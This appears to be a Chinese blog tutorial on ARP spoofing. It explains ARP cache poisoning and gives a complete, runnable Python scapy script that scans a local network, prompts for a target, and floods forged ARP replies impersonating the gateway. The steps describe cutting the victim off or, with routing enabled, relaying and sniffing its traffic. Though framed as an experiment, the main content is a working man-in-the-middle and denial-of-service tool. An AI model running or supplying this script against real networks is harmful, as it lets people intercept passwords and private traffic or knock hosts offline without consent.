Python编程——使用scapy模块对局域网的某主机进行ARP欺骗和攻击

1. ARP协议

ARP(Address Resolution Protocol,地址解析协议),位于TCP/IP协议栈中的网络层,负责将某个IP地址转化成对应的MAC地址。

(1) 主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;

(2) 收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源;

(3) 地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;

(4) 由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

2. ARP攻击原理

ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。攻击者只要持续不断的发出伪造的ARP响应包就能更改主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

(1) ARP攻击主要是存在于局域网网络中,无法对外网进行攻击;

(2) 攻击者向电脑A发送一个伪造的ARP响应,告诉主机A:电脑B的IP地址192.168.0.2对应的MAC地址是00-12-00-13-c6-14,电脑A信以为真,将这个对应关系写入自己的ARP缓存表中(不用广播,直接查询缓存表),以后发送数据时,将本应该发往电脑B的数据发送给了攻击者。同样的,攻击者向电脑B也发送一个伪造的ARP响应,告诉电脑B:电脑A的IP地址192.168.0.1对应的MAC地址是00-12-00-13-c6-15,电脑B也会将数据发送给攻击者;

(3) 至此攻击者就控制了电脑A和电脑B之间的流量,他可以选择被动地监测流量,获取密码和其他涉密信息,也可以伪造数据,改变电脑A和电脑B之间的通信内容。

3. scapy模块进行ARP欺骗和攻击

实验过程:

(1) 使用scapy模块扫描出局域网内的活跃的主机,打印出IP地址和MAC地址;

(2) 选择局域网内的某个主机进行ARP欺骗和攻击,使被攻击者认为我就是网关;

Python编程——使用scapy模块对局域网的某主机进行ARP欺骗和攻击_第1张图片

(3) 如果本机的 IP路由已启用——否,则被攻击者不能正常上网;(使用ipconfig /all 进行查看)

Python编程——使用scapy模块对局域网的某主机进行ARP欺骗和攻击_第2张图片

(4) 在攻击的同时,我们打开被攻击者的百度,进行上网,发现上网失败;

Python编程——使用scapy模块对局域网的某主机进行ARP欺骗和攻击_第3张图片

(5) 可以通过计算机管理——>服务——>找到Routing and Remote Access服务——>启动,实现将IP路由已启用改为是;

Python编程——使用scapy模块对局域网的某主机进行ARP欺骗和攻击_第4张图片

(6) 如果本机的 IP路由已启用——是,则我的物理机具有转发报文的功能,可以使被攻击者的上网信息经过我的主机,正常上网;(注意:在经过我的主机时,可以进行嗅探);

Python编程——使用scapy模块对局域网的某主机进行ARP欺骗和攻击_第5张图片

(7) 在攻击的同时,我们打开被攻击者的百度,进行上网,发现上网成功;

Python编程——使用scapy模块对局域网的某主机进行ARP欺骗和攻击_第6张图片

代码如下:

#局域网扫描器,使用ARP扫描
from scapy.all import *
import time

wifi='Realtek 8821AE Wireless LAN 802.11ac PCI-E NIC'
#扫描局域网,显示活跃主机
for line in os.popen('route print'):
    s=line.strip()   #去掉每行的空格
    if s.startswith('0.0.0.0'):
        slist=s.split()
        ip=slist[3]       #本机IP
        gw=slist[2]       #本机网关
        break
print('本机上网的IP是:',ip)
print('本机上网的网关是:', gw)
tnet=gw+'/24'      #本网络

#构造一个ARP广播包,向整个网络的每台主机发起ARP广播
p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=tnet)
#ans 表示收到的包的回复
ans, unans = srp(p, iface=wifi, timeout=2,verbose=0)
print("一共扫描到%d台主机:" % len(ans))
#将需要的IP地址和Mac地址存放在result列表中
result = []
for s, r in ans:
    # 解析收到的包,提取出需要的IP地址和MAC地址
    result.append([r[ARP].psrc, r[ARP].hwsrc])
result.sort()
#打印出活跃主机的IP地址和MAC地址
for ip, mac in result:
    print(ip, "------>", mac)

target=input("请输入攻击目标:")
t=int(input("请输入攻击时间(S):"))

#构造一个欺骗数据包,告诉被攻击者,我是网关
p1=Ether(dst='ff:ff:ff:ff:ff:ff',src='c8:3d:d4:7b:c1:47')/ARP(pdst=target,psrc=gw)
#周期性的发包,欺骗模式
print("攻击开始。。。")
for i in range(10*int(t)):
    sendp(p1,verbose=0)
    time.sleep(0.1)
print("攻击结束。。。")

结果如下:

Python编程——使用scapy模块对局域网的某主机进行ARP欺骗和攻击_第7张图片

你可能感兴趣的:(python编程)